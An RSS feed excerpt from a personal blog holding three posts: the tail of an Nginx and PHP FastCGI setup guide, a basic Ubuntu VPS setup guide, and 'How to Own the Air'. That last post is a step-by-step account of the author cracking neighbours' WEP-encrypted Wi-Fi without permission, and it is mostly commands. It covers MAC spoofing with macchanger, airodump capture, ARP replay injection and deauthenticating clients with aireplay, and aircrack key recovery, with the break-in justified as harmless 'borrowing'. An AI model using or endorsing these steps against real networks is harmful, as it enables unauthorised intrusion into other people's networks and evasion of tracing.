&nbsp;&nbsp;&nbsp;&nbsp;$PHP_SCRIPT
&nbsp;&nbsp;&nbsp;&nbsp;RETVAL=$?
&nbsp;&nbsp;;;
&nbsp;&nbsp;*)
&nbsp;&nbsp;&nbsp;&nbsp;echo &quot;Usage: php-fastcgi {start|stop|restart}&quot;
&nbsp;&nbsp;&nbsp;&nbsp;exit 1
&nbsp;&nbsp;;;
esac&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
exit $RETVAL
</pre></p>
<p>Give it permissions:<br />
<pre>
$ sudo chmod 755 /etc/init.d/fastcgi
</pre></p>
<p>Start it:<br />
<pre>
$ sudo /etc/init.d/fastcgi start
</pre></p>
<p>Have it start at boot:<br />
<pre>
$ sudo update-rc.d fastcgi defaults
</pre></p>
<p>Alright, now that PHP is running how we want it to, let&#8217;s tell Nginx to talk to it. To do that, add the following to your vhost server block in <code>/etc/nginx/sites-available/mydomain.com</code>, making sure to change the <code>SCRIPT_FILENAME</code> variable to match your directory structure:<br />
<pre>
location ~ \.php$ {

&nbsp;&nbsp;&nbsp;&nbsp;fastcgi_pass&nbsp;&nbsp; 127.0.0.1:9000;
&nbsp;&nbsp;&nbsp;&nbsp;fastcgi_index&nbsp;&nbsp;index.php;
&nbsp;&nbsp;&nbsp;&nbsp;fastcgi_param&nbsp;&nbsp;SCRIPT_FILENAME&nbsp;&nbsp;/home/user/public_html/mydomain.com/public$fastcgi_script_name;
&nbsp;&nbsp;&nbsp;&nbsp;include&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/etc/nginx/fastcgi.conf;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
</pre></p>
<p>Now let&#8217;s create that <code>/etc/nginx/fastcgi.conf</code> file that&#8217;s being included above. As per the <a href="http://wiki.codemongers.com/NginxFcgiExample">Nginx wiki article</a>, mine looks like this:<br />
<pre>
fastcgi_param&nbsp;&nbsp;GATEWAY_INTERFACE&nbsp;&nbsp;CGI/1.1;
fastcgi_param&nbsp;&nbsp;SERVER_SOFTWARE&nbsp;&nbsp;&nbsp;&nbsp;nginx;
fastcgi_param&nbsp;&nbsp;QUERY_STRING&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $query_string;
fastcgi_param&nbsp;&nbsp;REQUEST_METHOD&nbsp;&nbsp;&nbsp;&nbsp; $request_method;
fastcgi_param&nbsp;&nbsp;CONTENT_TYPE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $content_type;
fastcgi_param&nbsp;&nbsp;CONTENT_LENGTH&nbsp;&nbsp;&nbsp;&nbsp; $content_length;
fastcgi_param&nbsp;&nbsp;REQUEST_URI&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$request_uri;
fastcgi_param&nbsp;&nbsp;DOCUMENT_URI&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $document_uri;
fastcgi_param&nbsp;&nbsp;DOCUMENT_ROOT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$document_root;
fastcgi_param&nbsp;&nbsp;SERVER_PROTOCOL&nbsp;&nbsp;&nbsp;&nbsp;$server_protocol;
fastcgi_param&nbsp;&nbsp;REMOTE_ADDR&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$remote_addr;
fastcgi_param&nbsp;&nbsp;REMOTE_PORT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$remote_port;
fastcgi_param&nbsp;&nbsp;SERVER_ADDR&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$server_addr;
fastcgi_param&nbsp;&nbsp;SERVER_PORT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$server_port;
fastcgi_param&nbsp;&nbsp;SERVER_NAME&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$server_name;
</pre></p>
<p>Then restart Nginx:<br />
<pre>
$ sudo /etc/init.d/nginx restart
</pre></p>
<p>Let&#8217;s create a file named <code>test.php</code> in your domain&#8217;s public root to see if everything is working. Inside, do something like printing <a href="http://us2.php.net/phpinfo">phpinfo</a>.</p>
<p>Go to http://mydomain.com/test.php. See it? Good. If you get &#8220;no input file specified&#8221; or somesuch, you broke something.</p>
<p>If you create an index.php, and delete any index.html or index.htm you might have, you&#8217;ll notice Nginx throws a 403 Forbidden error. To fix that, find the line in your vhost config (<code>/etc/nginx/sites-available/mydomain.com</code>) under the <code>location /</code> block that reads <code>index index.html;</code>  and change it to <code>index index.php index.html;</code>. Then restart Nginx.</p>
<p>If you want SSL with your Nginx, Slicehost has <a href="http://articles.slicehost.com/2007/12/19/ubuntu-gutsy-self-signed-ssl-certificates-and-nginx">a guide for generating the certificate</a> and <a href="http://articles.slicehost.com/2007/12/19/ubuntu-gutsy-nginx-ssl-and-vhosts">another guide for installing it</a>.</p>
<p>You&#8217;ll want to install OpenSSL first:<br />
<pre>$ sudo aptitude install openssl</pre></p>
<p>There is one bug in the second guide. In the first server module listening on port 443, which forwards www.domain1.com to domain1.com, the rewrite rule specifies the http protocol. So, in effect, what that rule does is forward you from a secure domain to unsecure: https://www.domain1.com to http://domain1.com. We want it to forward to a secure domain. Simply change the rewrite rule like thus:<br />
<pre>
rewrite ^/(.*) https://domain1.com permanent;
</pre></p>
<p>Next up: <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-mail">install a mail server</a>. (Previously, we did a <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-basic-setup">basic setup</a>.)</p>
]]></content:encoded>
			<wfw:commentRss>http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-web-server/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>An Ubuntu VPS on Slicehost: Basic Setup</title>
		<link>http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-basic-setup/</link>
		<comments>http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-basic-setup/#comments</comments>
		<pubDate>Tue, 10 Jun 2008 19:04:09 +0000</pubDate>
		<dc:creator>Pig Monkey</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[gnu screen]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[slicehost]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[vps]]></category>

		<guid isPermaLink="false">http://www.pig-monkey.com/?p=1408</guid>
		<description><![CDATA[As mentioned previously, I&#8217;ve recently moved this domain over to Slicehost. What follows is Part One of a guide, compiled from my notes, to setting up an Ubuntu Hardy VPS. See also Part Two, Part Three, and Part Four. Slicehost has an excellent article repository, containing guides on a number of subjects. After building a <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-basic-setup/">[...]</a>]]></description>
			<content:encoded><![CDATA[<p><em>As <a href="http://pig-monkey.com/2008/06/09/a-move-to-slicehost/">mentioned previously</a>, I&#8217;ve recently moved this domain over to <a href="http://www.slicehost.com/">Slicehost</a>. What follows is Part One of a guide, compiled from my notes, to setting up an Ubuntu Hardy VPS. See also <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-web-server">Part Two</a>, <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-mail">Part Three</a>, and <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-wordpress">Part Four</a>.</em></p>
<p>Slicehost has an <a href="http://articles.slicehost.com/">excellent article repository</a>, containing guides on a number of subjects. After building a fresh Slice, you should first follow <a href="http://articles.slicehost.com/2008/4/25/ubuntu-hardy-setup-page-1">Part 1</a> and <a href="http://articles.slicehost.com/2008/4/25/ubuntu-hardy-setup-page-2">Part 2</a> of Slicehost&#8217;s basic setup articles.</p>
<p>I use slightly different coloring in my bash prompt, so, rather than what Slicehost suggests in their article, I add the following to <code>~/.bashrc</code>:</p>
<p><span id="more-1408"></span></p>
<p><pre>
export PS1=&#039;\[\033[0;32m\]\u@\[\033[0;35m\]\h\[\033[0;33m\] \w\[\033[00m\]: &#039;
</pre></p>
<p>This is a good time to protect SSH by installing <a href="http://denyhosts.sourceforge.net/">DenyHosts</a>, which I discuss <a href="http://pig-monkey.com/2008/10/03/thoughts-on-ssh-security/">here</a>:<br />
<pre>
$ sudo aptitude install denyhosts
</pre></p>
<p>Ubuntu&#8217;s default text editor is nano, which I abhor. Real men use vim. Ubuntu comes with a slimmed down version of vim, but you&#8217;ll probably want the full version:<br />
<pre>
$ sudo aptitude install vim
</pre></p>
<p>To change the global default editor variable, execute the following and select the editor of your choice:<br />
<pre>
$ sudo update-alternatives --config editor
</pre></p>
<p>This is also a perfect time to install <a href="http://www.gnu.org/software/screen/">GNU Screen</a>.<br />
<pre>
$ sudo aptitude install screen
</pre></p>
<p>If you&#8217;re not familiar with Screen, <a href="http://www.redhatmagazine.com/2007/09/27/a-guide-to-gnu-screen/">Red Hat Magazine has a nice little introduction</a></p>
<p>My .screenrc looks like this:<br />
<pre>
# Print a pretty line at the bottom of the screen
hardstatus alwayslastline
hardstatus string &#039;%{= kG}[ %{G}%H %{g}][%= %{=kw}%?%-Lw%?%{r}(%{W}%n*%f%t%?(%u)%?%{r})%{w}%?%+Lw%?%?%= %{g}][%{Y}%Y-%m-%d %{W}%c %{g}]&#039;

# Nobody likes startup messages
startup_message off

# Turn visual bell on and set the message to display for only a fraction of a second
vbell on
vbellwait .3

# Set default shell title to blank
shelltitle &#039;&#039;

# Gimme my scrollback!
defscrollback 5000

# Change command character to backtick
escape `` 

# Stop programs (live vim) from leaving their contents
# in the window after they exit
altscreen on

# Default screens
screen -t shell 0 
</pre></p>
<p>I prefer to have my bash profile setup to connect me to Screen as soon as I login. If there are no running sessions, it will create one. If there is a current session, it will disconnect the session from wherever it is connected and connect it to my login. When I disconnect from screen, it automatically logs me out. To achieve this, I add the following to <code>~/.bashrc</code>:</p>
<p><pre>
# If possible, reattach to an existing session and detach that session
# elsewhere. If not possible, create a new session.
if [ -z &quot;$STY&quot; ]; then
&nbsp;&nbsp;&nbsp;&nbsp;exec screen -dR
fi
</pre></p>
<p>I would also recommend following Slicehost&#8217;s guide to <a href="http://articles.slicehost.com/2007/9/10/scanning-for-rootkits-with-chkrootkit">installing chkrootkit</a> and <a href="http://articles.slicehost.com/2007/9/10/scanning-for-rootkits-with-rkhunter">rkhunter</a>.</p>
<p>One more thing: let&#8217;s set the timezone of the server to whatever is local to you (Slicehost&#8217;s Ubuntu image defaults to UTC). To do that, run:<br />
<pre>
$ sudo dpkg-reconfigure tzdata
</pre></p>
<p>Next up: <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-web-server">install a web server</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-basic-setup/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to Own the Air</title>
		<link>http://pig-monkey.com/2006/10/20/how-to-own-the-air/</link>
		<comments>http://pig-monkey.com/2006/10/20/how-to-own-the-air/#comments</comments>
		<pubDate>Sat, 21 Oct 2006 02:59:40 +0000</pubDate>
		<dc:creator>Pig Monkey</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[wireless]]></category>

		<guid isPermaLink="false">http://www.pig-monkey.com/2006/10/20/how-to-own-the-air/</guid>
		<description><![CDATA[Before moving into my new place last month, I had planned on paying an ISP for internet access. But, complications arose with the company I had chosen, so I decided to cancel my order soon after it was placed. Instead, I planned to borrow internet access from my neighbors (hey, they&#8217;re pumping signals into my <a href="http://pig-monkey.com/2006/10/20/how-to-own-the-air/">[...]</a>]]></description>
			<content:encoded><![CDATA[<p>Before moving into my new place last month, I had planned on paying an ISP for internet access. But, complications arose with the company I had chosen, so I decided to cancel my order soon after it was placed. Instead, I planned to borrow internet access from my neighbors (hey, they&#8217;re pumping signals into my air-space). Trouble was, everyone had encrypted their networks with <a href="http://en.wikipedia.org/wiki/Wired_Equivalent_Privacy">WEP</a>. No doubt this is a good thing, and a vast improvement from the last time I had scanned down here (about 8 months ago), but I wanted in. I was able to justify cracking in to myself by recognizing that my paranoia isn&#8217;t limited just to the &#8220;others&#8221; out on the global interwebs &#8212; no, I&#8217;d be just as paranoid about the owner of whomever&#8217;s network I was breaking into watching my traffic. There was no question I&#8217;d make ample use of encryption, which, as a side benefit, meant that anything I did through his connection would be rather difficult to trace back. So, he was protected. As long as he wasn&#8217;t paying for bandwidth by the KB, he&#8217;d not be much affected by my leeching. (I use the pronoun &#8220;he&#8221; because I know now that the owner of my primary network is, in fact, a he &#8212; put a password on your routers, people!).</p>
<p>But there was another problem, in addition to WEP: during reconnaissance, I would rarely pick up any connected clients. Perhaps I was always trying at the wrong time of day. Or perhaps people pay for internet access and never use it. Regardless, it would have taken weeks of constant logging to gather enough IVs to crack the WEP key. So, the first step was to take the money I had saved by canceling my order with the ISP, and invest in a new wireless card that supported packet injection.</p>
<p>The <a href="http://www.proxim.com/products/cp/pc.html" >Proxim 8470-WD</a> (from <a href="http://www.aircrack-ng.org/doku.php?id=faq&#038;DokuWiki=8fb30aa7da2a84fc23999e92b8e641ca#which_is_the_best_card_to_buy" >aircrack-ng&#8217;s recommended list</a>) caught my eye, though it took a while before I could find it a decent price. To do my initial cracking, I popped in <a href="http://www.remote-exploit.org/index.php/BackTrack" >Backtrack</a> and followed <a href="http://www.aircrack-ng.org/doku.php?id=newbie_guide&#038;DokuWiki=8fb30aa7da2a84fc23999e92b8e641ca" >aircrack-ng&#8217;s newbie guide</a>. (I had upgraded my trusty old Auditor cd to Backtrack just for this occasion. It&#8217;s quite the nice distribution.) Within about 5 minutes, I had gained access to the first network. Goes to show how secure WEP is.</p>
<p>Though the Proxim card is plug and play in Ubuntu, the steps to crack WEP are a little different. Here&#8217;s what I do (note that I do recommend using Backtrack, instead).</p>
<p>First, of course, one must install aircrack:</p>
<p><pre>sudo apt-get install aircrack</pre></p>
<p>You may change your mac address manually, or, if you aren&#8217;t concerned with anonymity, don&#8217;t change it all. I have a preference of using the <a href="http://www.alobbs.com/macchanger/" >macchanger</a> tool:</p>
<p><pre>sudo apt-get install macchanger</pre></p>
<p>Set your card&#8217;s MAC address randomly. In this case, the network device is at <em>ath0</em>:</p>
<p><pre>sudo ifconfig ath0 down
sudo macchanger -r ath0
sudo ifconfig ath0 up</pre></p>
<p>Put your card into monitor mode:</p>
<p><pre>sudo iwconfig ath0 mode monitor</pre></p>
<p>Start scanning:</p>
<p><pre>sudo airodump ath0 dump 0</pre></p>
<p>In this case, <code>dump</code> is the file prefix for airodump&#8217;s output and the <code>0</code> tells airodump to channel-hop. Now you want to pick your target network from the scan. It should have at least one client connected (displayed at the bottom of airodump&#8217;s output), the more the merrier. (Hopefully that client is transmitting data, too.)</p>
<p>When you pick your target, kill the first instance of airodump and start it up again, this time specifying the channel of your target:</p>
<p><pre>sudo airodump ath0 targetdump 9</pre></p>
<p>The <code>targetdump</code> is the file prefix and <em>9</em> is the channel. Optionally you can add a <code>1</code> to the end of the command, which tells airodump to only capture <a href="http://en.wikipedia.org/wiki/Initialization_vector" >IV</a>s (which is what you&#8217;re after). I normally don&#8217;t bother.</p>
<p>When you&#8217;ve captured somewhere in the range of 250,000 &#8211; 500,000 data packets (shown by airodump in the &#8220;Packets&#8221; column of your target client), you can start cracking:</p>
<p><pre>aircrack -b 00:12:34:45:78:A3 targetdump.cap</pre></p>
<p>In this case, <code>-b</code> is the essid of your target network. Cracking could take minutes, hours, days, weeks, months, or years. I&#8217;ve never had to wait over 20 minutes.</p>
<p>But what if the client is being a party-pooper and not transmitting? That&#8217;s where packet injection comes in. From aircrack&#8217;s guide:</p>
<blockquote><p>ARP works (simplified) by broadcasting a query for an IP and the device that has this IP sends back an answer. Because WEP does not protect against replay, you can sniff a packet, send it out again and again and it is still valid. So you just have to capture and replay an ARP-request targeted at the AP to create lots of traffic (and sniff IVs).</p></blockquote>
<p>You&#8217;ll want to keep airodump running, so that all the traffic you generate will be captured. In another terminal, start injecting:</p>
<p><pre>sudo aireplay -3 -b 00:12:34:45:78:A3 -h A3:78:45:34:12:00 ath0</pre></p>
<p>The <code>-3</code> tells airepay you want to replay ARP requests, <code>-b</code> is that target network, and <code>-h</code> is the client. In a little bit, aireplay should inform you that it has captured 1 (or more) ARP packets. Sit back and watch airodump count up the IVs.</p>
<p>If that pesky client still isn&#8217;t cooperating, you can give it a little motivation. From aircrack:</p>
<blockquote><p>Most operating systems clear the ARP cache on disconnection. If they want to send the next packet after reconnection (or just use DHCP), they have to send out ARP requests. So the idea is to disconnect a client and force it to reconnect to capture an ARP-request. A side-effect is that you can sniff the ESSID during reconnection too. This comes in handy if the ESSID of your target is hidden.</p>
<p>&#8230;the risk that someone recognizes this attack or at least attention is drawn to the stuff happening on the WLAN is higher than with other attacks.</p></blockquote>
<p>Keep airodump and aireplay running, and in a new terminal give it a little kick in the butt:</p>
<p><pre>sudo aireplay -0 5 -a 00:12:34:45:78:A3 -c A3:78:45:34:12:00 ath0</pre></p>
<p>The first switch, <code>-0</code>, informs aireplay you want to force the client to be unauthenticated, <code>-a</code> is the target network, <code>-c</code> is the target client. When the client reconnects, you should start grabbing ARP requests.</p>
<p>After you have enough packets, crack the WEP key as before.</p>
<p>To manage and connect to my wireless networks, I&#8217;ve taken to using <a href="http://wifi-radar.systemimager.org/" >wifi-radar</a>. It scans for networks, allows you to specify which networks you prefer and, for each network, allows you to set preferences such as the WEP key, whether to use dynamic or static addresses, and the like. What I like best is the connection commands, which allows you to set commands you want executed before wifi-radar connects to the network, and after. In the before field, I have it randomly change my mac address:</p>
<p><pre>ifconfig ath0 down &amp;&amp; macchanger -r ath0 &amp;&amp; ifconfig ath0 up</pre></p>
<p>After it connects, I restart tor:</p>
<p><pre>/etc/init.d/tor restart</pre></p>
<p>(As another reference for you, <span class="removed_link">this site</span> keeps turning up as a guide to cracking WEP in Ubuntu.)</p>
]]></content:encoded>
			<wfw:commentRss>http://pig-monkey.com/2006/10/20/how-to-own-the-air/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
